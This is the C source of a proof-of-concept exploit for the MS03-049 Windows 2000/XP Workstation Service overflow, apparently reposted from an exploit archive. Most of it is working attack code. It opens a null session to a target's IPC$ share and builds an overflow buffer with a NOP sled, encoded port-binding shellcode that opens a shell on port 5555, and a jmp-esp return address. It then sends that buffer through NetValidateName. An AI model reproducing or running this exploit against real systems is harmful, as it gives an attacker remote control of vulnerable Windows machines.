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MS Windows 2000/XP Workstation Service Overflow (MS03-049)
========================================================== MS Windows 2000/XP Workstation Service Overflow (MS03-049) ========================================================== /* Proof of concept for MS03-049. This code was tested on a Win2K SP4 with FAT32 file system, and is supposed to work *only* with that (it will probably crash the the other 2Ks, no clue about XPs). To be compiled with lcc-win32 (*hint* link mpr.lib) ... I will not improve this public version, do not bother to ask. Credits go to eEye See original bulletin for more information, it is very well documented. */ #include <stdio.h> #include <win.h> #include <string.h> typedef int (*MYPROC)(LPCWSTR, LPCWSTR, LPCWSTR, LPCWSTR, ULONG); #define SIZE 2048 // PEX generated port binding shellcode (5555) unsigned char shellcode[] = "\x66\x81\xec\x04\x07" // sub sp, 704h "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\xeb\x19\x5e\x31" "\xc9\x81\xe9\xa6\xff\xff\xff\x81\x36\x76\xac\x7c\x25\x81\xee\xfc" "\xff\xff\xff\xe2\xf2\xeb\x05\xe8\xe2\xff\xff\xff\x9e\x94\x7c\x25" "\x76\xef\x31\x61\x76\x4b\x05\xe3\x0f\x49\x35\xa3\x3f\x08\xd1\x0b" "\x9f\x08\x66\x55\xb1\x75\x75\xd0\xdb\x67\x91\xd9\x4d\x22\x32\x2b" "\x9a\xd2\xa4\xc7\x05\x01\xa5\x20\xb8\xde\x82\x96\x60\xfb\x2f\x17" "\x29\x9f\x4e\x0b\x32\xe0\x30\x25\x77\xf7\x28\xac\x93\x25\x21\x25" "\x1c\x9c\x25\x41\xfd\xad\xf7\x65\x7a\x27\x0c\x39\xdb\x27\x24\x2d" "\x9d\xa0\xf1\x72\x5a\xfd\x2e\xda\xa6\x25\xbf\x7c\x9d\xbc\x16\x2d" "\x28\xad\x92\x4f\x7c\xf5\xf7\x58\x76\x2c\x85\x23\x02\x48\x2d\x76" "\x89\x98\xf3\xcd\xe6\xac\x7c\x25\x2f\x25\x78\xab\x94\x47\x4d\xda" "\x10\x2d\x90\xb5\x77\xf8\x14\x24\x77\xac\x7c\xda\x23\x8c\x2b\x72" "\x21\xfb\x3b\x72\x31\xfb\x83\x70\x6a\x25\xbf\x14\x89\xfb\x2b\x4d" "\x74\xac\x69\x96\xff\x4a\x16\x35\x20\xff\x83\x70\x6e\xfb\x2f\xda" "\x23\xb8\x2b\x73\x25\x53\x29\x35\xff\x6e\x1a\xa4\x9a\xf8\x7c\xa8" "\x4a\x88\x4d\xe5\x1c\xb9\x25\xd6\xdd\x25\xab\xe3\x32\x88\x6c\x61" "\x88\xe8\x58\x18\xff\xd0\x58\x6d\xff\xd0\x58\x69\xff\xd0\x58\x75" "\xfb\xe8\x58\x35\x22\xfc\x2d\x74\x27\xed\x2d\x6c\x27\xfd\x83\x50" "\x76\xfd\x83\x70\x46\x25\x9d\x4d\x89\x53\x83\xda\x89\x9d\x83\x70" "\x5a\xfb\x83\x70\x7a\x53\x29\x0d\x25\xf9\x2a\x72\xfd\xc0\x58\x3d" "\xfd\xe9\x40\xae\x22\xa9\x04\x24\x9c\x27\x36\x3d\xfd\xf6\x5c\x24" "\x9d\x4f\x4e\x6c\xfd\x98\xf7\x24\x98\x9d\x83\xd9\x47\x6c\xd0\x1d" "\x96\xd8\x7b\xe4\xb9\xa1\x7d\xe2\x9d\x5e\x47\x59\x52\xb8\x09\xc4" "\xfd\xf6\x58\x24\x9d\xca\xf7\x29\x3d\x27\x26\x39\x77\x47\xf7\x21" "\xfd\xad\x94\xce\x74\x9d\xbc\xac\x9c\xf3\x22\x78\x2d\x6e\x74\x25"; unsigned char jmp[] = "\xe9\x6f\xfd\xff\xff"; // jmp -290h to land in the payload int main(void) { int ret; HINSTANCE hInstance; MYPROC procAddress; char szBuffer[SIZE]; NETRESOURCE netResource; netResource.lpLocalName = NULL; netResource.lpProvider = NULL; netResource.dwType = RESOURCETYPE_ANY; netResource.lpRemoteName = "\\\\192.168.175.3\\ipc$"; ret = WNetAddConnection2(&netResource, "", "", 0); // attempt a null session if (ret != 0) { fprintf(stderr, "[-] WNetAddConnection2 failed\n"); return 1; } hInstance = LoadLibrary("netapi32"); if (hInstance == NULL) { fprintf(stderr, "[-] LoadLibrary failed\n"); return 1; } procAddress = (MYPROC)GetProcAddress(hInstance, "NetValidateName"); // up to you tocheck NetAddAlternateComputerName if (procAddress == NULL) { fprintf(stderr, "[-] GetProcAddress failed\n"); return 1; } memset(szBuffer, 0x90, sizeof(szBuffer)); memcpy(&szBuffer[1400], shellcode, sizeof(shellcode) - 1); // ebp @ &szBuffer[2013] *(unsigned int *)(&szBuffer[2017]) = 0x74fdee63; // eip (jmp esp @ msafd.dll, useopcode search engine for more, but // be aware that a call esp willchange the offset in the stack) memcpy(&szBuffer[2021 + 12], jmp, sizeof(jmp)); // includes terminal NULL char ret = (procAddress)(L"\\\\192.168.175.3", szBuffer, NULL, NULL, 0); WNetCancelConnection2("\\\\192.168.175.3\\ipc$", 0, TRUE); FreeLibrary(hInstance); return 0; } # 0day.today [2024-12-25] #